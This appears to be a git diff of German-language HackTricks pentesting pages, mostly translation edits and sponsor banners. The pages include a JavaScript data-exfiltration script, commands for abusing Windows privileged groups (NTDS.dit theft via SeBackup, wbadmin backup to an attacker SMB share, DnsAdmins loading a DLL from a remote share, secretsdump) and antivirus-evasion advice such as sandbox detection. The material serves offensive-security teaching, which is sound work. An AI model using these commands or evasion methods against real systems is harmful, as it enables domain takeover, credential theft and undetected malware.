* [ ] [**H2C Smuggling**](h2c-smuggling.md)
|
||||
|
@ -86,7 +95,7 @@ Wenn ein Websocket eine Nachricht sendet oder ein Formular es Benutzern ermögli
|
|||
|
||||
### **HTTP-Header**
|
||||
|
||||
Je nach den vom Webserver bereitgestellten HTTP-Headern können einige Schwachstellen vorhanden sein.
|
||||
Je nach den HTTP-Headern, die vom Webserver bereitgestellt werden, können einige Schwachstellen vorhanden sein.
|
||||
|
||||
* [ ] [**Clickjacking**](clickjacking.md)
|
||||
* [ ] [**Umgehung der Content Security Policy**](content-security-policy-csp-bypass/)
|
||||
|
@ -95,7 +104,7 @@ Je nach den vom Webserver bereitgestellten HTTP-Headern können einige Schwachst
|
|||
|
||||
### **Umgehungen**
|
||||
|
||||
Es gibt mehrere spezifische Funktionalitäten, bei denen einige Workarounds nützlich sein könnten, um sie zu umgehen.
|
||||
Es gibt mehrere spezifische Funktionen, bei denen einige Workarounds nützlich sein könnten, um sie zu umgehen.
|
||||
|
||||
* [ ] [**2FA/OTP-Umgehung**](2fa-bypass.md)
|
||||
* [ ] [**Umgehung des Zahlungsprozesses**](bypass-payment-process.md)
|
||||
|
@ -106,10 +115,10 @@ Es gibt mehrere spezifische Funktionalitäten, bei denen einige Workarounds nüt
|
|||
* [ ] [**Umgehung des Zurücksetzen des vergessenen Passworts**](reset-password.md)
|
||||
* [ ] [**Registrierungsschwachstellen**](registration-vulnerabilities.md)
|
||||
|
||||
### **Strukturierte Objekte / Spezifische Funktionalitäten**
|
||||
### **Strukturierte Objekte / Spezifische Funktionen**
|
||||
|
||||
Einige Funktionalitäten erfordern, dass **die Daten in einem sehr spezifischen Format strukturiert sind** (wie ein sprachserialisiertes Objekt oder XML). Daher ist es einfacher zu erkennen, ob die Anwendung anfällig sein könnte, da sie diese Art von Daten verarbeiten muss.\
|
||||
Einige **spezifische Funktionalitäten** können ebenfalls anfällig sein, wenn ein **spezifisches Format der Eingabe verwendet wird** (wie E-Mail-Header-Injektionen).
|
||||
Einige Funktionen erfordern, dass **Daten in einem sehr spezifischen Format strukturiert sind** (wie ein sprachserialisiertes Objekt oder XML). Daher ist es einfacher zu erkennen, ob die Anwendung anfällig sein könnte, da sie diese Art von Daten verarbeiten muss.\
|
||||
Einige **spezifische Funktionen** können ebenfalls anfällig sein, wenn ein **spezifisches Format der Eingabe verwendet wird** (wie E-Mail-Header-Injektionen).
|
||||
|
||||
* [ ] [**Deserialization**](deserialization/)
|
||||
* [ ] [**E-Mail-Header-Injektion**](email-injections.md)
|
||||
|
@ -118,8 +127,8 @@ Einige **spezifische Funktionalitäten** können ebenfalls anfällig sein, wenn
|
|||
|
||||
### Dateien
|
||||
|
||||
Funktionalitäten, die das Hochladen von Dateien ermöglichen, könnten anfällig für mehrere Probleme sein.\
|
||||
Funktionalitäten, die Dateien generieren, die Benutzereingaben enthalten, könnten unerwarteten Code ausführen.\
|
||||
Funktionen, die das Hochladen von Dateien ermöglichen, könnten anfällig für mehrere Probleme sein.\
|
||||
Funktionen, die Dateien generieren, die Benutzereingaben enthalten, könnten unerwarteten Code ausführen.\
|
||||
Benutzer, die von Benutzern hochgeladene oder automatisch generierte Dateien mit Benutzereingaben öffnen, könnten gefährdet sein.
|
||||
|
||||
* [ ] [**Datei-Upload**](file-upload/)
|
||||
|
@ -129,7 +138,7 @@ Benutzer, die von Benutzern hochgeladene oder automatisch generierte Dateien mit
|
|||
|
||||
### **Externe Identitätsverwaltung**
|
||||
|
||||
* [ ] [**OAUTH zur Kontoübernahme**](oauth-to-account-takeover.md)
|
||||
* [ ] [**OAUTH zur Kontenübernahme**](oauth-to-account-takeover.md)
|
||||
* [ ] [**SAML-Angriffe**](saml-attacks/)
|
||||
|
||||
### **Andere hilfreiche Schwachstellen**
|
||||
|
@ -138,9 +147,19 @@ Diese Schwachstellen könnten helfen, andere Schwachstellen auszunutzen.
|
|||
|
||||
* [ ] [**Domain/Subdomain-Übernahme**](domain-subdomain-takeover.md)
|
||||
* [ ] [**IDOR**](idor.md)
|
||||
* [ ] [**Parameter Pollution**](parameter-pollution.md)
|
||||
* [ ] [**Parameter-Verschmutzung**](parameter-pollution.md)
|
||||
* [ ] [**Unicode-Normalisierungsanfälligkeit**](unicode-injection/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerk und Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Berechtigungen zu eskalieren, und verwende automatisierte Exploits, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -8,10 +8,14 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```javascript
|
||||
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
||||
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
|
||||
|
@ -119,17 +123,21 @@ window.onmessage = function(e){
|
|||
exfil_info("onmessage", encode(e.data))
|
||||
}
|
||||
```
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,13 +15,20 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Bekannt Gruppen mit Administrationsprivilegien
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Verwende [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
|
||||
Erhalte heute Zugang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
## Bekannte Gruppen mit Administrationsrechten
|
||||
|
||||
* **Administratoren**
|
||||
* **Domänen-Administratoren**
|
||||
* **Enterprise-Administratoren**
|
||||
|
||||
## Konto-Operatoren
|
||||
## Konto-Betreiber
|
||||
|
||||
Diese Gruppe ist befugt, Konten und Gruppen zu erstellen, die keine Administratoren in der Domäne sind. Darüber hinaus ermöglicht sie die lokale Anmeldung am Domänencontroller (DC).
|
||||
|
||||
|
@ -29,7 +36,7 @@ Um die Mitglieder dieser Gruppe zu identifizieren, wird der folgende Befehl ausg
|
|||
```powershell
|
||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||
```
|
||||
Das Hinzufügen neuer Benutzer ist erlaubt, ebenso wie die lokale Anmeldung an DC01.
|
||||
Das Hinzufügen neuer Benutzer ist erlaubt, ebenso wie die lokale Anmeldung bei DC01.
|
||||
|
||||
## AdminSDHolder-Gruppe
|
||||
|
||||
|
@ -63,11 +70,11 @@ Mit `PsService` oder `sc` von Sysinternals kann man die Berechtigungen von Diens
|
|||
```cmd
|
||||
C:\> .\PsService.exe security AppReadiness
|
||||
```
|
||||
Dieser Befehl zeigt, dass `Server Operators` vollen Zugriff haben, was die Manipulation von Diensten für erhöhte Berechtigungen ermöglicht.
|
||||
Dieser Befehl zeigt, dass `Server Operators` vollen Zugriff haben, was die Manipulation von Diensten für erhöhte Privilegien ermöglicht.
|
||||
|
||||
## Backup Operators
|
||||
|
||||
Die Mitgliedschaft in der Gruppe `Backup Operators` gewährt Zugriff auf das Dateisystem von `DC01` aufgrund der `SeBackup`- und `SeRestore`-Berechtigungen. Diese Berechtigungen ermöglichen das Durchqueren von Ordnern, das Auflisten und das Kopieren von Dateien, selbst ohne ausdrückliche Berechtigungen, unter Verwendung des `FILE_FLAG_BACKUP_SEMANTICS`-Flags. Für diesen Prozess ist die Nutzung spezifischer Skripte erforderlich.
|
||||
Die Mitgliedschaft in der Gruppe `Backup Operators` gewährt Zugriff auf das Dateisystem von `DC01` aufgrund der `SeBackup`- und `SeRestore`-Privilegien. Diese Privilegien ermöglichen das Durchqueren von Ordnern, das Auflisten und das Kopieren von Dateien, selbst ohne ausdrückliche Berechtigungen, unter Verwendung des `FILE_FLAG_BACKUP_SEMANTICS`-Flags. Für diesen Prozess ist die Nutzung spezifischer Skripte erforderlich.
|
||||
|
||||
Um die Gruppenmitglieder aufzulisten, führen Sie aus:
|
||||
```powershell
|
||||
|
@ -92,7 +99,7 @@ Get-SeBackupPrivilege
|
|||
dir C:\Users\Administrator\
|
||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||
```
|
||||
### AD-Angriff
|
||||
### AD Angriff
|
||||
|
||||
Der direkte Zugriff auf das Dateisystem des Domänencontrollers ermöglicht den Diebstahl der `NTDS.dit`-Datenbank, die alle NTLM-Hashes für Domänenbenutzer und -computer enthält.
|
||||
|
||||
|
@ -131,7 +138,7 @@ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
|||
#### Verwendung von wbadmin.exe
|
||||
|
||||
1. Richten Sie das NTFS-Dateisystem für den SMB-Server auf der Angreifermaschine ein und speichern Sie die SMB-Anmeldeinformationen auf der Zielmaschine.
|
||||
2. Verwenden Sie `wbadmin.exe` für die Systembackup- und `NTDS.dit`-Extraktion:
|
||||
2. Verwenden Sie `wbadmin.exe` für die Systembackup und `NTDS.dit` Extraktion:
|
||||
```cmd
|
||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
||||
|
@ -143,7 +150,7 @@ Für eine praktische Demonstration siehe [DEMO VIDEO WITH IPPSEC](https://www.yo
|
|||
|
||||
## DnsAdmins
|
||||
|
||||
Mitglieder der **DnsAdmins**-Gruppe können ihre Berechtigungen ausnutzen, um eine beliebige DLL mit SYSTEM-Berechtigungen auf einem DNS-Server zu laden, der häufig auf Domänencontrollern gehostet wird. Diese Fähigkeit ermöglicht erhebliches Ausnutzungspotenzial.
|
||||
Mitglieder der **DnsAdmins**-Gruppe können ihre Berechtigungen ausnutzen, um eine beliebige DLL mit SYSTEM-Rechten auf einem DNS-Server zu laden, der häufig auf Domänencontrollern gehostet wird. Diese Fähigkeit ermöglicht erhebliches Ausnutzungspotenzial.
|
||||
|
||||
Um die Mitglieder der DnsAdmins-Gruppe aufzulisten, verwenden Sie:
|
||||
```powershell
|
||||
|
@ -151,7 +158,7 @@ Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
|||
```
|
||||
### Führen Sie beliebige DLL aus
|
||||
|
||||
Mitglieder können den DNS-Server anweisen, eine beliebige DLL (entweder lokal oder von einem Remote-Share) mit Befehlen wie:
|
||||
Mitglieder können den DNS-Server anweisen, eine beliebige DLL (entweder lokal oder von einem Remote-Share) mit Befehlen wie: zu laden
|
||||
```powershell
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||
|
@ -184,14 +191,14 @@ Es ist auch möglich, mimilib.dll für die Ausführung von Befehlen zu verwenden
|
|||
### WPAD-Datensatz für MitM
|
||||
DnsAdmins können DNS-Datensätze manipulieren, um Man-in-the-Middle (MitM)-Angriffe durch das Erstellen eines WPAD-Datensatzes nach Deaktivierung der globalen Abfrageblockliste durchzuführen. Tools wie Responder oder Inveigh können zum Spoofing und Erfassen von Netzwerkverkehr verwendet werden.
|
||||
|
||||
### Event-Log-Reader
|
||||
### Event Log Readers
|
||||
Mitglieder können auf Ereignisprotokolle zugreifen und möglicherweise sensible Informationen wie Klartextpasswörter oder Details zur Befehlsausführung finden:
|
||||
```powershell
|
||||
# Get members and search logs for sensitive information
|
||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
||||
```
|
||||
## Exchange Windows Berechtigungen
|
||||
## Exchange Windows Berechtigungen
|
||||
Diese Gruppe kann DACLs auf dem Domänenobjekt ändern und möglicherweise DCSync-Berechtigungen gewähren. Techniken zur Privilegieneskalation, die diese Gruppe ausnutzen, sind im Exchange-AD-Privesc GitHub-Repo detailliert beschrieben.
|
||||
```powershell
|
||||
# List members
|
||||
|
@ -207,7 +214,7 @@ Der Mozilla Wartungsdienst von Firefox kann von Hyper-V-Administratoren ausgenut
|
|||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||
sc.exe start MozillaMaintenance
|
||||
```
|
||||
Note: Die Ausnutzung von Hardlinks wurde in den neuesten Windows-Updates gemindert.
|
||||
Hinweis: Die Ausnutzung von Hardlinks wurde in den neuesten Windows-Updates gemindert.
|
||||
|
||||
## Organisation Management
|
||||
|
||||
|
@ -233,7 +240,7 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users
|
|||
Weitere Einblicke in die Ausnutzung von RDP finden sich in speziellen Pentesting-Ressourcen.
|
||||
|
||||
#### Remote Management Users
|
||||
Mitglieder können über **Windows Remote Management (WinRM)** auf PCs zugreifen. Die Aufzählung dieser Mitglieder erfolgt durch:
|
||||
Mitglieder können PCs über **Windows Remote Management (WinRM)** zugreifen. Die Aufzählung dieser Mitglieder erfolgt durch:
|
||||
```powershell
|
||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||
|
@ -262,6 +269,13 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
|||
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection), um Workflows, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden, einfach zu erstellen und **zu automatisieren**.\
|
||||
Zugang heute erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -6,7 +6,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,15 +15,21 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Diese Seite wurde geschrieben von** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
## **AV Evasion Methodologie**
|
||||
|
||||
Derzeit verwenden AVs verschiedene Methoden, um zu überprüfen, ob eine Datei bösartig ist oder nicht: statische Erkennung, dynamische Analyse und für die fortschrittlicheren EDRs, Verhaltensanalyse.
|
||||
Derzeit verwenden AVs verschiedene Methoden, um zu überprüfen, ob eine Datei bösartig ist oder nicht, statische Erkennung, dynamische Analyse und für die fortschrittlicheren EDRs, Verhaltensanalyse.
|
||||
|
||||
### **Statische Erkennung**
|
||||
|
||||
Die statische Erkennung erfolgt durch das Markieren bekannter bösartiger Zeichenfolgen oder Byte-Arrays in einer Binärdatei oder einem Skript sowie durch das Extrahieren von Informationen aus der Datei selbst (z. B. Dateibeschreibung, Firmenname, digitale Signaturen, Symbol, Prüfziffer usw.). Das bedeutet, dass die Verwendung bekannter öffentlicher Tools dazu führen kann, dass du leichter erwischt wirst, da sie wahrscheinlich analysiert und als bösartig markiert wurden. Es gibt ein paar Möglichkeiten, diese Art der Erkennung zu umgehen:
|
||||
Die statische Erkennung erfolgt durch das Markieren bekannter bösartiger Zeichenfolgen oder Byte-Arrays in einer Binärdatei oder einem Skript und auch durch das Extrahieren von Informationen aus der Datei selbst (z. B. Dateibeschreibung, Firmenname, digitale Signaturen, Icon, Prüfziffer usw.). Das bedeutet, dass die Verwendung bekannter öffentlicher Tools dich leichter auffliegen lassen kann, da sie wahrscheinlich analysiert und als bösartig markiert wurden. Es gibt ein paar Möglichkeiten, diese Art der Erkennung zu umgehen:
|
||||
|
||||
* **Verschlüsselung**
|
||||
|
||||
|
@ -38,42 +44,42 @@ Manchmal musst du nur einige Zeichenfolgen in deiner Binärdatei oder deinem Skr
|
|||
Wenn du deine eigenen Tools entwickelst, gibt es keine bekannten schlechten Signaturen, aber das erfordert viel Zeit und Mühe.
|
||||
|
||||
{% hint style="info" %}
|
||||
Eine gute Möglichkeit, die statische Erkennung von Windows Defender zu überprüfen, ist [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Es teilt die Datei in mehrere Segmente auf und fordert Defender auf, jedes einzeln zu scannen, sodass es dir genau sagen kann, welche Zeichenfolgen oder Bytes in deiner Binärdatei markiert sind.
|
||||
Eine gute Möglichkeit, die statische Erkennung von Windows Defender zu überprüfen, ist [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Es teilt die Datei im Grunde in mehrere Segmente auf und fordert Defender auf, jedes einzeln zu scannen, so kann es dir genau sagen, welche Zeichenfolgen oder Bytes in deiner Binärdatei markiert sind.
|
||||
{% endhint %}
|
||||
|
||||
Ich empfehle dir dringend, diese [YouTube-Playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) über praktische AV-Evasion anzusehen.
|
||||
|
||||
### **Dynamische Analyse**
|
||||
|
||||
Die dynamische Analyse erfolgt, wenn das AV deine Binärdatei in einer Sandbox ausführt und nach bösartiger Aktivität Ausschau hält (z. B. versucht, die Passwörter deines Browsers zu entschlüsseln und zu lesen, einen Minidump von LSASS durchzuführen usw.). Dieser Teil kann etwas kniffliger sein, aber hier sind einige Dinge, die du tun kannst, um Sandboxes zu umgehen.
|
||||
Die dynamische Analyse erfolgt, wenn das AV deine Binärdatei in einer Sandbox ausführt und nach bösartiger Aktivität Ausschau hält (z. B. versuchen, die Passwörter deines Browsers zu entschlüsseln und zu lesen, einen Minidump von LSASS durchzuführen usw.). Dieser Teil kann etwas kniffliger sein, aber hier sind einige Dinge, die du tun kannst, um Sandboxes zu umgehen.
|
||||
|
||||
* **Schlaf vor der Ausführung** Abhängig davon, wie es implementiert ist, kann es eine großartige Möglichkeit sein, die dynamische Analyse von AV zu umgehen. AVs haben sehr wenig Zeit, um Dateien zu scannen, um den Arbeitsablauf des Benutzers nicht zu unterbrechen, daher können lange Schlafzeiten die Analyse von Binärdateien stören. Das Problem ist, dass viele AV-Sandboxes den Schlaf je nach Implementierung einfach überspringen können.
|
||||
* **Überprüfung der Ressourcen des Systems** Normalerweise haben Sandboxes sehr wenig Ressourcen zur Verfügung (z. B. < 2 GB RAM), da sie sonst die Maschine des Benutzers verlangsamen könnten. Du kannst hier auch sehr kreativ werden, indem du beispielsweise die Temperatur der CPU oder sogar die Lüftergeschwindigkeiten überprüfst; nicht alles wird in der Sandbox implementiert sein.
|
||||
* **Überprüfung der Ressourcen des Systems** Normalerweise haben Sandboxes sehr wenig Ressourcen zur Verfügung (z. B. < 2 GB RAM), andernfalls könnten sie die Maschine des Benutzers verlangsamen. Du kannst hier auch sehr kreativ werden, zum Beispiel indem du die CPU-Temperatur oder sogar die Lüftergeschwindigkeiten überprüfst, nicht alles wird in der Sandbox implementiert sein.
|
||||
* **Maschinenspezifische Überprüfungen** Wenn du einen Benutzer ansprechen möchtest, dessen Arbeitsstation mit der Domäne "contoso.local" verbunden ist, kannst du eine Überprüfung der Domäne des Computers durchführen, um zu sehen, ob sie mit der von dir angegebenen übereinstimmt. Wenn nicht, kannst du dein Programm beenden.
|
||||
|
||||
Es stellt sich heraus, dass der Computername der Sandbox von Microsoft Defender HAL9TH ist. Du kannst also den Computernamen in deiner Malware vor der Detonation überprüfen. Wenn der Name mit HAL9TH übereinstimmt, befindest du dich in der Sandbox von Defender, sodass du dein Programm beenden kannst.
|
||||
Es stellt sich heraus, dass der Sandbox-Computername von Microsoft Defender HAL9TH ist, also kannst du den Computernamen in deiner Malware vor der Detonation überprüfen. Wenn der Name mit HAL9TH übereinstimmt, bedeutet das, dass du dich in der Sandbox von Defender befindest, also kannst du dein Programm beenden.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>Quelle: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Einige weitere wirklich gute Tipps von [@mgeeky](https://twitter.com/mariuszbit) für den Umgang mit Sandboxes
|
||||
Einige andere wirklich gute Tipps von [@mgeeky](https://twitter.com/mariuszbit) für den Umgang mit Sandboxes
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev Kanal</p></figcaption></figure>
|
||||
|
||||
Wie wir bereits in diesem Beitrag gesagt haben, werden **öffentliche Tools** letztendlich **erkannt**, also solltest du dir etwas fragen:
|
||||
|
||||
Wenn du beispielsweise LSASS dumpen möchtest, **musst du wirklich mimikatz verwenden**? Oder könntest du ein anderes, weniger bekanntes Projekt verwenden, das ebenfalls LSASS dumpet.
|
||||
Wenn du zum Beispiel LSASS dumpen möchtest, **musst du wirklich mimikatz verwenden**? Oder könntest du ein anderes, weniger bekanntes Projekt verwenden, das ebenfalls LSASS dumpet.
|
||||
|
||||
Die richtige Antwort ist wahrscheinlich Letzteres. Wenn man mimikatz als Beispiel nimmt, ist es wahrscheinlich eines der, wenn nicht das am häufigsten markierte Stück Malware von AVs und EDRs. Während das Projekt selbst super cool ist, ist es auch ein Albtraum, damit zu arbeiten, um an AVs vorbeizukommen. Suche also einfach nach Alternativen für das, was du erreichen möchtest.
|
||||
Die richtige Antwort ist wahrscheinlich Letzteres. Wenn man mimikatz als Beispiel nimmt, ist es wahrscheinlich eines der, wenn nicht das am häufigsten markierte Stück Malware von AVs und EDRs. Während das Projekt selbst super cool ist, ist es auch ein Albtraum, damit zu arbeiten, um an AVs vorbeizukommen, also suche einfach nach Alternativen für das, was du erreichen möchtest.
|
||||
|
||||
{% hint style="info" %}
|
||||
Wenn du deine Payloads zur Umgehung modifizierst, stelle sicher, dass du **die automatische Probenübermittlung** in Defender **deaktivierst**, und bitte, ernsthaft, **LADEN SIE NICHT AUF VIRUSTOTAL HOCH**, wenn dein Ziel darin besteht, langfristig eine Umgehung zu erreichen. Wenn du überprüfen möchtest, ob deine Payload von einem bestimmten AV erkannt wird, installiere es auf einer VM, versuche, die automatische Probenübermittlung zu deaktivieren, und teste es dort, bis du mit dem Ergebnis zufrieden bist.
|
||||
Wenn du deine Payloads zur Umgehung modifizierst, stelle sicher, dass du **die automatische Probenübermittlung** in Defender deaktivierst, und bitte, ernsthaft, **LADEN SIE NICHT AUF VIRUSTOTAL HOCH**, wenn dein Ziel darin besteht, langfristig eine Umgehung zu erreichen. Wenn du überprüfen möchtest, ob deine Payload von einem bestimmten AV erkannt wird, installiere es auf einer VM, versuche, die automatische Probenübermittlung zu deaktivieren, und teste es dort, bis du mit dem Ergebnis zufrieden bist.
|
||||
{% endhint %}
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Wann immer es möglich ist, **priorisiere die Verwendung von DLLs zur Umgehung**. Meiner Erfahrung nach werden DLL-Dateien in der Regel **deutlich weniger erkannt** und analysiert, sodass es ein sehr einfacher Trick ist, um in einigen Fällen eine Erkennung zu vermeiden (wenn deine Payload natürlich eine Möglichkeit hat, als DLL ausgeführt zu werden).
|
||||
Wann immer es möglich ist, **priorisiere die Verwendung von DLLs zur Umgehung**, meiner Erfahrung nach werden DLL-Dateien in der Regel **deutlich weniger erkannt** und analysiert, daher ist es ein sehr einfacher Trick, um in einigen Fällen eine Erkennung zu vermeiden (wenn deine Payload natürlich eine Möglichkeit hat, als DLL ausgeführt zu werden).
|
||||
|
||||
Wie wir in diesem Bild sehen können, hat eine DLL-Payload von Havoc eine Erkennungsrate von 4/26 bei antiscan.me, während die EXE-Payload eine Erkennungsrate von 7/26 hat.
|
||||
